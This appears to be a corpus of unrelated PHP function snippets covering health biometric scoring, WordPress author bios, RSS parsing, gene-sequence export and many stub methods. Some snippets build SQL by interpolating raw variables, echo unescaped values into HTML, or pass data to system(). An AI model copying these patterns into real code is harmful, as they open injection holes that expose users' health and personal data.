\tif($this->data['biometric_data']['weight']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackWeightModel.php\");\r\n \t\t$w=new UserTrackWeightModel($this->id); \r\n \t\t$weight=$w->getLastEntry();\r\n \t\t$this->data['biometric_data']['weight']=($weight)?$weight['weight']:0;\r\n \t}\r\n \t\r\n \t\t//get last bp entered\r\n \tif($this->data['biometric_data']['bp_systolic']==\"0\"){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBPModel.php\");\r\n \t\t$bp= new UserTrackBPModel($this->id);\r\n \t\t$data=$bp->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['bp_systolic']=($data)?$data['systolic']:0;\r\n \t\t$this->data['biometric_data']['bp_diastolic']=($data)?$data['diastolic']:0; \t\t\t \t\t\r\n \t}\r\n \t\r\n \t//calculate current BMI\r\n \tif($this->data['biometric_data']['bmi']==0){ \t\t\r\n \t\tif($this->data['biometric_data']['height']!=0){ \t\t\t\r\n \t \t\t$this->data['biometric_data']['bmi']=round($this->data['biometric_data']['weight']/pow($this->data['biometric_data']['height'],2)*703,2); \t\t\t\r\n \t\t}\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackMeasurementsModel.php\");\r\n\t\t\t\t$mm = new UserTrackMeasurementsModel($this->id);\r\n\t\t\t\t$data = $mm->getLastEntry();\r\n \t\t$this->data['biometric_data']['waist'] = ($data['waist']) ? $data['waist'] : 0;\r\n \t}\r\n \t\r\n \t//get Last Entered Blood Glucose\r\n \tif($this->data['biometric_data']['blood_glucose']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackBloodGlucoseModel.php\");\r\n \t\t$bg= new UserTrackBloodGlucoseModel($this->id);\r\n \t\t$data=$bg->getLastEntry();\r\n \t\tif ($data['random']['date_entered'] > $data['fasting']['date_entered']) {\r\n\t \t\t$this->data['biometric_data']['blood_glucose']=$data['random']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'random';\r\n\t \t}\r\n\t \telse {\r\n\t \t\t$this->data['biometric_data']['blood_glucose'] = $data['fasting']['blood_glucose'];\r\n\t \t\t$this->data['glucose_test'] = 'fasting';\r\n\t \t}\r\n\t\t\t\tif (!isset($this->data['biometric_data']['hemoglobin']))\r\n\t \t\t$this->data['biometric_data']['hemoglobin'] = 0;\r\n\t\t\t\tif (!isset($this->data['biometric_data']['cotinine']))\r\n\t \t\t$this->data['biometric_data']['cotinine'] = 0;\r\n \t}\r\n \t\r\n //get Last Entered Cholesterol\r\n \tif($this->data['biometric_data']['cholesterol']==0){\r\n \t\trequire_once(ROOT_DIR.\"classes/model/UserTrackCholesterolModel.php\");\r\n \t\t$c= new UserTrackCholesterolModel($this->id);\r\n \t\t$data=$c->getLastEntry(); \t\t\r\n \t\t$this->data['biometric_data']['cholesterol']=($data)?$data['total']:0;\r\n \t\t$this->data['biometric_data']['triglycerides']=($data)?$data['triglycerides']:0;\r\n \t\t$this->data['biometric_data']['hdl']=($data)?$data['hdl']:0;\r\n \t\t$this->data['biometric_data']['ldl']=($data)?$data['ldl']:0;\r\n \t}\r\n \t\t\r\n\t}", "public function catalogos() \n\t{\n\t}", "public abstract function describe();", "public abstract function describe();", "function getDescription() ;", "public function getBiography()\n {\n return 'Etienne is passionate about clean code, Good music '\n . 'and great coffee. He loves coding for the web and create '\n . 'amazing api\\'s';\n }", "function affiche_image(){\n\t\tglobal $infos_id;\n\t\tif($infos_id['grade']==0){\n\t\t\treturn\"<img src='ressources/membre.png' title='Membre' alt='Membre'>\";\n\t\t}\n\t\tif($infos_id['grade']==10){\n\t\t\treturn \"<img src='ressources/users.png' title='Conseil' alt='Membre du conseil'>\";\n\t\t}\n\t\tif($infos_id['grade']==20){\n\t\t\treturn \"<img src='ressources/admin.png' title='Vice président' alt='Vice président'>\";\n\t\t}\n\t\tif($infos_id['grade']==30){\n\t\t\treturn \"<img src='ressources/boss.png' title='Président' alt='Président'>\";\n\t\t}\n\t}", "function setIdHistorialCambio($idHistorialCambio) {\r\n $this->idHistorialCambio = $idHistorialCambio;\r\n }", "function ambas()\n {\n print \"Ejecución de la función ambas<br>\";\n # mediante $this-> requerimos la ejecución de metodo prueba\n # de la clase actual\n $this->prueba();\n # al señalar parent:: requerimos la ejecución de metodo prueba\n # de la clase padre\n parent::prueba();\n }", "function cap_person_bio($style, $person = null) {\n if ( empty( $person ) ) {\n global $wp_query;\n $person = $wp_query->get_queried_object();\n }\n\n $person_photo = get_field( 'person_photo', 'person_'.$person->term_id );\n $person_photo_hi_res = get_field( 'person_photo_hi_res', 'person_'.$person->term_id );\n // This field is only being used by ThinkProgress post ACF migration.\n // The field itself is registered only in the TP theme in fields.php\n $person_photo_legacy = get_field( 'person_photo_legacy', 'person_'.$person->term_id );\n $person_title = get_field( 'person_title', 'person_'.$person->term_id );\n $person_email = get_field( 'person_email', 'person_'.$person->term_id );\n $person_twitter_handle = get_field( 'person_twitter_handle', 'person_'.$person->term_id );\n\n if (!empty($person_photo)) {\n $person_photo_output = wp_get_attachment_image( $person_photo, 'medium' );\n $person_photo_hi_res_output = wp_get_attachment_image_src( $person_photo_hi_res, 'full');\n }\n\n $markup = '<div class=\"person '.$style.'\">';\n // if the \"full\" style is being displayed then add the person name and title atop the bio\n if ( 'full' == $style ) {\n $markup .= '<div class=\"person-title\"><h1>'.$person->name.'<br><small>'.$person_title.'</small></h1></div>';\n }\n\n // begin the actual bio area\n $markup .= '<div class=\"person-bio\">';\n if (!empty($person_photo)) {\n $markup .= '<div class=\"bio-pic\">'.$person_photo_output;\n\n // optional hi res photo\n if (!empty($person_photo_hi_res_output)) {\n $markup .= '<div class=\"bio-pic-hi-res\"><a href=\"'.$person_photo_hi_res_output[0].'\">' . __('Download hi-res', 'cap-byline') . '</a></div>';\n }\n\n $markup .= '</div>';\n } elseif (!empty($person_photo_legacy)) {\n $markup .= '<div class=\"bio-pic\"><img src=\"'.$person_photo_legacy.'\"></div>';\n }\n // get the bio and add it to $markup\n $markup .= '<div class=\"bio\">';\n if ( empty($style) ) {\n $markup .= '<strong>'.$person->name.'</strong> ';\n }\n $markup .= $person->description;\n // if either an email addy or twitter handle are present lets add a hard line break for spacing\n if ( !empty($person_email) || !empty($person_twitter_handle) ) {\n $markup .= '<div id=\"contact-button-seperator\"></div>';\n }\n\n // if the bio has an email associated add a contact modal form to $markup also check the form ID is present\n if ( !empty($person_email) ) {\n $markup .= '<a id=\"contact-modal-link\" class=\"cap-contact-modal-link\" href=\"javascript:void(0);\"><img src=\"'.plugin_dir_url('cap-byline.php').'/cap-byline/mail.png\" width=\"18px\"> ' . __('Contact', 'cap-byline') . ' ' . $person->name.'</a>';\n $markup .= '\n <script>\n jQuery(document).ready(function(){\n jQuery(\"#contact-modal-link\").click(function(){\n jQuery(\"#contact-modal\").addClass(\"active\");\n });\n jQuery(\"#contact-modal .close-modal\").click(function(){\n jQuery(\"#contact-modal\").removeClass(\"active\");\n });\n });\n </script>\n ';\n $markup .= '<div id=\"contact-modal\" class=\"modal\"><div class=\"modal-wrapper\"><div class=\"close-modal\"><img src=\"'.plugin_dir_url('cap-byline.php').'/cap-byline/close_circle.png\"></div><div class=\"modal-window\">';\n $markup .= gravity_form( get_field('author_contact_form_id', 'options'), false, false, false, array('author_contact_email' => ''.$person->term_id.''), true, 25, false );\n gravity_form_enqueue_scripts( get_field('author_contact_form_id', 'options'), true );\n $markup .= '</div></div></div>';\n $markup .= '\n <style>\n div.modal {\n display: none;\n position: fixed;\n top: 0;\n left: 0;\n height: 100%;\n width: 100%;\n background-color: rgba(0,0,0,0.6);\n z-index: 999;\n }\n div.modal.active {\n display: table;\n }\n div.modal-wrapper {\n display: table-cell;\n vertical-align: middle;\n z-index: 9999;\n text-align: center;\n }\n div.modal-window {\n text-align: left;\n display: inline-block;\n min-width: 50%;\n background-color: #fff;\n padding: 2em;\n }\n div.close-modal {\n position: relative;\n bottom: -20px;\n text-align: right;\n width: 52%;\n margin: 0 auto;\n }\n #contact-modal-link {\n color: #000;\n font-weight: bold;\n position: relative;\n top: -4px;\n }\n #contact-modal-link img {\n position: relative;\n top: 3px;\n }\n span#twitter-follow {\n margin-left: 5px;\n }\n #contact-button-seperator {\n height: 15px;\n }\n </style>\n ';\n }\n // if the bio has a twitter handle associated add the follow button to $markup\n if ( !empty($person_twitter_handle) ) {\n $markup .= '<span id=\"twitter-follow\"><a href=\"https://twitter.com/'.$person_twitter_handle.'\" class=\"twitter-follow-button\" data-show-count=\"false\" data-lang=\"en\">' . __('Follow', 'cap-byline') . ' @'.$person_twitter_handle.'</a><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=\"//platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");</script></span>';\n }\n\n $markup .= '</div>'; // close out .bio\n $markup .= '</div>'; // close out .person-bio\n $markup .= '</div>'; // close out .person .$style\n\n echo $markup;\n }", "public function get_biometrico_com($fech,$nom)\n {\n self::set_names();\n $sql=\"SELECT observacion AS OBSERVACION, hora AS HORA, fecha AS FECHA\n \t\t\t\tFROM\n \t\t\t\tbiometrico\n \t\t\t\twhere\n \t\t\t\tfecha = '$fech' and nro='$nom' order by hora asc;\";\t\t\t \n foreach($this->dbh->query($sql) as $row)\n {\n $this->super2[]=$row;\n }\n return $this->super2;\n $this->dbh=null;\n }", "public function get_superficie(){ return $this->_superficie;}", "public abstract function getDescription();", "function circle_author_biography() {\n\tif ( ! circle_option( 'display_author_bio' ) ) {\n\t\treturn;\n\t}\n\tget_template_part( 'template-parts/biography' );\n}", "function fonctionBaliseFermante($parseur, $nomBalise)\r\n {\r\n global $derniereBaliseRencontree;\r\n global $titre;\r\n global $lien;\r\n global $description;\r\n\r\n switch ($nomBalise) {\r\n case \"ITEM\" :\r\n // nous quittons un bloc item\r\n // nous pouvons afficher le titre de l'article\r\n echo \"<tr><td height='28'><a href=\\\"$lien\\\" target='_blank'>\".$titre.\"</a></td></tr>\";\r\n echo \"<tr><td>$description</td></tr>\";\r\n // et on oublie\r\n $titre = \"\";\r\n $lien = \"\";\r\n $description = \"\";\r\n break;\r\n }\r\n \r\n // On oublie la dernière balise rencontrée\r\n // et tout le reste\r\n $derniereBaliseRencontree = \"\";\r\n }", "public function liberar() {}", "public function show(bacteriologia $bacteriologia)\n {\n //\n }", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "public function setBio($bio)\n {\n $this->bio = $bio;\n\n return $this;\n }", "function geneshop_polypeptides() {\n module_load_include('inc', 'tripal_feature', 'tripal_feature.api');\n $sql = '\n SELECT FRM.subject_id as feature_id\n FROM {gene} G\n INNER JOIN {feature_relationship} FRM ON FRM.object_id = G.gene_id\n INNER JOIN {chado_feature} CHF ON CHF.feature_id = gene_id\n WHERE chf.nid = :nid\n ';\n $data = '';\n foreach ($_SESSION['basket']['items'] as $nid => $value) {\n $args = array(':nid' => $nid);\n $result = db_query($sql, $args)->fetchObject();\n $feature_id = $result->feature_id;\n $sequence = array();\n $sequence = tripal_get_feature_sequences(\n array(\n 'feature_id' => $feature_id,\n ),\n array(\n 'aggregate' => 1,\n 'relationship_type' => 'derives_from',\n 'relationship_part' => 'object',\n 'is_html' => 0\n )\n );\n if (count($sequence)>0) {\n $data .= \">\".$sequence[0][defline].\"\\n\";\n if ($sequence[0]['residues']) { //if there are sequences in residues\n $sequence[0]['residues'] = strtoupper($sequence[0]['residues']);\n $data .= $sequence[0]['residues'].\"\\n\";\n }\n }\n }\n drupal_add_http_header('Content-Type: text/plain');\n print $data;\n drupal_exit();\n}", "public abstract function Ataca();", "function __construct() {\n\t\t$this -> modelo = new categoriaBss();\n\t}", "public function alimentar()\n {\n }", "private function compilar_metadatos_generales_basicos()\n\t{\n\t\t//-- Datos basicos --\n\t\t$this->manejador_interface->mensaje('Info basica', false);\n\t\t$nombre_clase = 'toba_mc_gene__basicos';\n\t\t$archivo = $this->get_dir_generales_compilados() . '/' . $nombre_clase . '.php';\n\t\t$clase = new toba_clase_datos( $nombre_clase );\n\t\t$datos = toba_proyecto_db::cargar_info_basica( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_basica', $datos);\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Fuentes --\n\t\tforeach( $this->get_indice_fuentes() as $fuente ) {\n\t\t\t$datos = toba_proyecto_db::get_info_fuente_datos( $this->get_id(), $fuente );\n\t\t\t//-- Se busca la relacion entre nombre_tabla y dt\n\t\t\t$mapeo = toba_proyecto_db::get_mapeo_tabla_dt($this->get_id(), $fuente);\n\t\t\t$datos['mapeo_tablas_dt'] = $mapeo;\n\t\t\t$clase->agregar_metodo_datos('info_fuente__'.$fuente, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Permisos --\n\t\tforeach( $this->get_indice_permisos() as $permiso ) {\n\t\t\t$datos = toba_proyecto_db::get_descripcion_permiso( $this->get_id(), $permiso );\n\t\t\t$clase->agregar_metodo_datos('info_permiso__'.$permiso, $datos );\n\t\t}\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//-- Indice de componentes --\n\t\t$datos = toba_proyecto_db::get_mapeo_componentes_indice( $this->get_id() );\n\t\t$clase->agregar_metodo_datos('info_indices_componentes', $datos );\n\t\t$this->manejador_interface->progreso_avanzar();\n\t\t//Creo el archivo\n\t\t$clase->guardar( $archivo );\n\t\t$this->manejador_interface->progreso_fin();\n\t}", "public function masodik()\n {\n }", "public function nadar()\n {\n }", "public function sobre() {\n $this->template->set_title( 'Work for all - Sobre' );\n\n // renderiza a pagina\n\t\t$this->template->render( 'sobre' );\n }", "public function baseSlajderi()\n {\n \n $this->linija = Slajderi::model()->findAllByAttributes(array('jezik'=>Yii::app()->session[\"lang\"]),array('order'=>'id'));\n $this->nalovSlajderi = $this->linija[0] -> naslov;\n \n \n }", "public function stampaDipendenti() {\n echo '<p> Nome: ' . $this->nome . '</p>';\n echo '<p> Cognome: ' . $this->cognome . '</p>';\n echo '<p> Software utilizzati: ' . $this->software . '</p>';\n }", "public function biografi()\n {\n \n $this->db->select('*');\n $this->db->from('biografi');\n \n $query = $this->db->get();\n return $query;\n }", "function cl_habitcandidatointeresseprograma() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"habitcandidatointeresseprograma\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "public function leggi(){\n\n\t\t\t//if (TYPE_PROFILE==1){\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_view\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_view.id = \".$this->ipg_id;\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\t$this->ary_descpg = $query_all->GetNextRecord(true);\n\t\t\t\t}\n\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_abilities\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_abilities.idpg = \".$this->ipg_id;\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_abilities[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_talenti\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_talenti.PG = \".$this->ipg_id;\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_talents[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_incantesimi\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_incantesimi.PG = \".$this->ipg_id;\n\t\t\t $query_all->sortfields = array(\"Classe\",\"LivRichiesto\",\"incantesimo\");\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_spells[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_oggetti\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_oggetti.PG = \".$this->ipg_id;\n\t\t\t $query_all->sortfields = array(\"Categoria\",\"tipo\");\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_equipment[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pg_lingua\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"pg_lingua.PG = \".$this->ipg_id;\n\t\t\t $query_all->sortfields = array(\"Lingua\",\"Zona\");\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_lang[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"tblnotepg\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"tblnotepg.IdPg = \".$this->ipg_id;\n\t\t\t\t\n\t\t\t\t/*\n \t\t\t* if (!($this->ipg_id>0)){\n\t \t\t* \tthrow new Exception (\"No Pg to read from\");\n\t\t \t* }\n\t\t\t\t*/\n\t\t\t\tif ($query_all->Open()){\n\t\t\t\t\twhile($element = $query_all->GetNextRecord(true)){\n\t\t\t\t\t\t$this->ary_notes[] = $element;\n\t\t\t\t\t}\n\t\t\t\t}\n\n /*}else{\n \t\t\t$query_all = new Query();\n\t \t\t$query_all->tables = array(\"pgdb\");\n\t\t \t$query_all->fields = array(\"*\");\n\t\t\t $query_all->filters = \"ID = \".$this->ipg_id;\n\t\t\t\n \t\t\tif (!($this->ipg_id>0)){\n\t \t\t\tthrow new Exception (\"No Pg to read from\");\n\t\t \t}\n if($query_all->Open()){\n \t\t\t $this->ary_descpg = $query_all->GetNextRecord(true);\n }\n }*/\n\t\t}", "function getDescription();", "function geneshop_phylo() {\n/*\n * For testing function, required more than one sequence.\n * $mRNA_id = array(3,20,37,53,68);\n * $data = '';\n * foreach ($mRNA_id as $feature_id) {\n */\n module_load_include('inc', 'tripal_feature', 'tripal_feature.api');\n module_load_include('inc', 'clustalo', 'clustalo.restclient');\n $sql = '\n SELECT FRM.subject_id as feature_id\n FROM {gene} G\n INNER JOIN {feature_relationship} FRM ON FRM.object_id = G.gene_id\n INNER JOIN {chado_feature} CHF ON CHF.feature_id = gene_id\n WHERE chf.nid = :nid\n ';\n $data = '';\n foreach ($_SESSION['basket']['items'] as $nid => $value) {\n $args = array(':nid' => $nid);\n $result = db_query($sql, $args)->fetchObject();\n $feature_id = $result->feature_id;\n $sequence = array();\n $sequence = tripal_get_feature_sequences(\n array(\n 'feature_id' => $feature_id,\n ),\n array(\n 'relationship_type' => 'derives_from',\n 'relationship_part' => 'object',\n 'is_html' => 0\n )\n );\n if (count($sequence)>0) {\n $data .= \">\".$sequence[0][defline].\"\\n\";\n if ($sequence[0]['residues']) { //if there are sequences in residues\n $sequence[0]['residues'] = strtoupper($sequence[0]['residues']);\n $data .= $sequence[0]['residues'].\"\\n\";\n }\n }\n }\n\n// set parameter and send to ClustalO service.\n $parameters = array(\n 'sequence' => $data,\n );\n $phylo = clustalo_submit_job($parameters, true);\n\n// send phylogenetic tree in newick form to draw a tree in python script.\n $enphy = urlencode($phylo);\n $command = drupal_get_path(\"module\", \"geneshop\").\"/cgi_ete.py .$enphy\";\n system(\"python2.6 \".$command);\n}", "private function score_biometric_data(){\t\t\r\n\t\t$data = $this->data['biometric_data'];\r\n\t\t$bp_systolic = $data['bp_systolic'];\r\n\t\tif ($bp_systolic > 140) $bp_systolic = 1;\r\n\t\telse if ($bp_systolic > 120) $bp_systolic = 3;\r\n\t\telse if ($bp_systolic == 0) $bp_systolic = 0;\r\n\t\telse $bp_systolic = 5;\r\n\t\t\t\r\n\t\tif ($data['bp_diastolic'] > 90) $bp_diastolic = 1;\r\n\t\telse if ($data['bp_diastolic'] > 80) $bp_diastolic = 3;\r\n\t\telse if ($data['bp_diastolic'] == 0) $bp_diastolic = 0;\r\n\t\telse $bp_diastolic = 5;\r\n\t\t\r\n\t\t$body_fat = 5;\r\n\t\tif ($this->demographics['gender'] == \"M\") {\r\n\t\t\tif ($this->demographics['age'] >= 60){\r\n\t\t\t\tif ($data['body_fat'] > 24.1) $body_fat = 1;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else if ($this->demographics['age'] >= 40) {\r\n\t\t\t\tif ($data['body_fat'] > 24.1) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 23.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else{\r\n\t\t\t\tif ($data['body_fat'] > 23.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 19.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\t\t\t\t\t\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tif ($this->demographics['age'] >= 60) {\r\n\t\t\t\tif ($data['body_fat'] > 31.5) $body_fat = 1;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else if ($this->demographics['age'] >= 40) {\r\n\t\t\t\tif ($data['body_fat'] > 31.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 30.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\r\n\t\t\t}else{\r\n\t\t\t\tif ($data['body_fat'] > 30.5) $body_fat = 1;\r\n\t\t\t\tif ($data['body_fat'] > 23.4) $body_fat = 3;\r\n\t\t\t\telse if ($data['body_fat'] == 0) $body_fat = 0;\t\t\t\t\t\r\n\t\t\t}\t\t\t\t\r\n\t\t}\r\n\r\n\t\t$waist = 5;\r\n\t\tif ($this->demographics['gender'] == 'M') {\r\n\t\t\tif ($data['waist'] > 40) {\r\n\t\t\t\t$waist = 1;\r\n\t\t\t}\r\n\t\t\telse if ($data['waist'] == 0) {\r\n\t\t\t\t$waist = 0;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif ($data['waist'] > 35) {\r\n\t\t\t\t$waist = 1;\r\n\t\t\t}\r\n\t\t\telse if ($data['waist'] == 0) {\r\n\t\t\t\t$waist = 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$bmi = 3;\r\n\t\tif ($data['bmi'] > 30) $bmi = 1;\r\n\t\telse if ($data['bmi'] > 25) $bmi = 3;\r\n\t\telse if ($data['bmi'] > 18) $bmi = 5;\r\n\t\telse if ($data['bmi'] == 0) $bmi = 0;\r\n\t\t$data['bmi'] = sprintf(\"%.1f\", $data['bmi']);\r\n\r\n\t\t$blood_glucose = 5;\r\n\t\tif ($data['blood_glucose'] > 200) $blood_glucose = 1;\r\n\t\telse if ($data['blood_glucose'] > 129) $blood_glucose = 3;\t\t\t\r\n\t\telse if ($data['blood_glucose'] == 0) $blood_glucose = 0;\r\n\t\t\r\n\t\t$cholesterol = 5;\r\n\t\tif ($data['cholesterol'] > 239) $cholesterol = 1;\r\n\t\telse if ($data['cholesterol'] > 199) $cholesterol = 3;\t\t\t\r\n\t\telse if ($data['cholesterol'] == 0) $cholesterol = 0;\r\n\t\t\t\t\t\r\n\t\t$triglycerides = 5;\r\n\t\tif ($data['triglycerides'] > 200) $triglycerides = 1;\r\n\t\telse if ($data['triglycerides'] > 149) $triglycerides = 3;\t\t\t\r\n\t\telse if ($data['triglycerides'] == 0) $triglycerides = 0;\r\n\t\t\t\t\t\r\n\t\t$hdl = 1;\r\n\t\tif ($this->demographics['gender'] == 'F') {\r\n\t\t\tif ($data['hdl'] > 40) $hdl = 5;\r\n\t\t\telse if ($data['hdl'] > 30) $hdl = 3;\r\n\t\t\telse if ($data['hdl'] == 0) $hdl = 0;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif ($data['hdl'] > 50) $hdl = 5;\r\n\t\t\telse if ($data['hdl'] > 35) $hdl = 3;\r\n\t\t\telse if ($data['hdl'] == 0) $hdl = 0;\r\n\t\t}\r\n\r\n//\t\tif($data['hdl']>59) $hdl=5;\r\n//\t\telse if($data['hdl']>40) $hdl=3;\r\n//\t\telse if($data['hdl']==0) $hdl=0;\r\n\r\n\t\t$ldl = 5;\r\n\t\tif ($data['ldl'] > 140) $ldl = 1;\r\n\t\telse if ($data['ldl'] > 100) $ldl = 3;\r\n\t\telse if ($data['ldl'] == 0) $ldl = 0;\r\n\r\n\t\tif($data['hdl'] > 0 && $data['cholesterol'] > 0)\r\n\t\t\t$ratio = $data['cholesterol'] / $data['hdl'];\r\n\t\telse\r\n\t\t\t$ratio = 0;\r\n\t\t\r\n\t\t$ratio = sprintf(\"%.1f\", $ratio);\r\n\r\n\t\t$tc_hdl = 5;\r\n\t\tif ($ratio > 4.5) $tc_hdl = 1;\r\n\t\telse if ($ratio == 0) $tc_hdl = 0;\r\n\r\n\r\n\t\t$hemoglobin = 5;\r\n\t\tif ($data['hemoglobin'] == 0)\r\n\t\t\t$hemoglobin = 0;\r\n\t\telse if (($data['hemoglobin'] < 4.0) || ($data['hemoglobin'] > 6.0)) {\r\n\t\t\t$hemoglobin = 1;\r\n\t\t}\r\n\r\n\t\t$cotinine = 5;\r\n\t\tif ($data['cotinine'] > 0) {\r\n\t\t\t$cotinine = 1;\r\n\t\t}\r\n\r\n\t\t$ob = new stdClass();\r\n\t\t$ob->total = 0;\r\n\t\t$ob->data = array('bp_systolic' => array($bp_systolic,.0625, 0.0, $data['bp_systolic']),\r\n\t\t\t\t\t\t'bp_diastolic' => array($bp_diastolic,.0625, 0.0, $data['bp_diastolic']),\r\n\t\t\t\t\t\t'body_fat' => array($body_fat,.125, 0.0, $data['body_fat']),\r\n\t\t\t\t\t\t'bmi' => array($bmi,.0625, 0.0, $data['bmi']),\r\n\t\t\t\t\t\t'waist' => array($waist, .0625, 0.0, $data['waist']),\r\n\t\t\t\t\t\t'blood_glucose' => array($blood_glucose,.0417, 0.0, $data['blood_glucose']),\r\n\t\t\t\t\t\t'hemoglobin' => array($hemoglobin,.0417, 0.0, $data['hemoglobin']),\r\n\t\t\t\t\t\t'cotinine' => array($cotinine,.0416, 0.0, $data['cotinine']),\r\n\t\t\t\t\t\t'cholesterol' => array($cholesterol,.1, 0.0, $data['cholesterol']),\r\n\t\t\t\t\t\t'triglycerides' => array($triglycerides,.1, 0.0, $data['triglycerides']),\r\n\t\t\t\t\t\t'hdl' => array($hdl,.1, 0.0, $data['hdl']),\r\n\t\t\t\t\t\t'ldl' => array($ldl,.1, 0.0, $data['ldl']),\r\n\t\t\t\t\t\t'tc_hdl' => array($tc_hdl,.1, 0.0, $ratio));\r\n\t\tforeach($ob->data as &$rec){\r\n\t\t\t$rec[2] = $rec[0] * $rec[1];\r\n\t\t\t$ob->total += $rec[2];\r\n\t\t}\r\n\t\treturn $ob;\r\n\t}", "abstract public function description(): string;", "public function getInstrucoes();", "public function aparecer() {\n // Referencia al objeto dentro de la clase\n echo '<img src=\"' . $this -> foto . '\">';\n\n }", "function kategoriberatbadan($g, $bb, $tb){\n\tif($g == \"Wanita\"){\n\t\tif(bmi($bb,$tb) < 18 ){\n\t\t\t$ket = \"Under Weight / Kurus dan saran dari kami sebaiknya mulai menambah berat badan dan mengkonsumsi makanan berkarbohidrat di imbangi dengan olah raga.\";\n\t\t}elseif (bmi($bb,$tb) >=18 && bmi($bb,$tb) <=25) {\n\t\t\t$ket = \"Normal Weight / Normal dan berat badan anda termasuk kategori ideal.\";\n\t\t}elseif (bmi($bb,$tb) > 25 && bmi($bb,$tb) <=27) {\n\t\t\t$ket = \"Over Weight / Kegemukan dan anda sudah masuk kategori gemuk. Saran dari kami sebaiknya hindari makanan berlemak dan mulailah meningkatkan olahraga seminggu minimal 2 kali.\";\n\t\t}elseif (bmi($bb,$tb) > 27) {\n\t\t\t$ket= \"Obesitas dan saran dari kami sebaiknya segera membuat program menurunkan berat badan 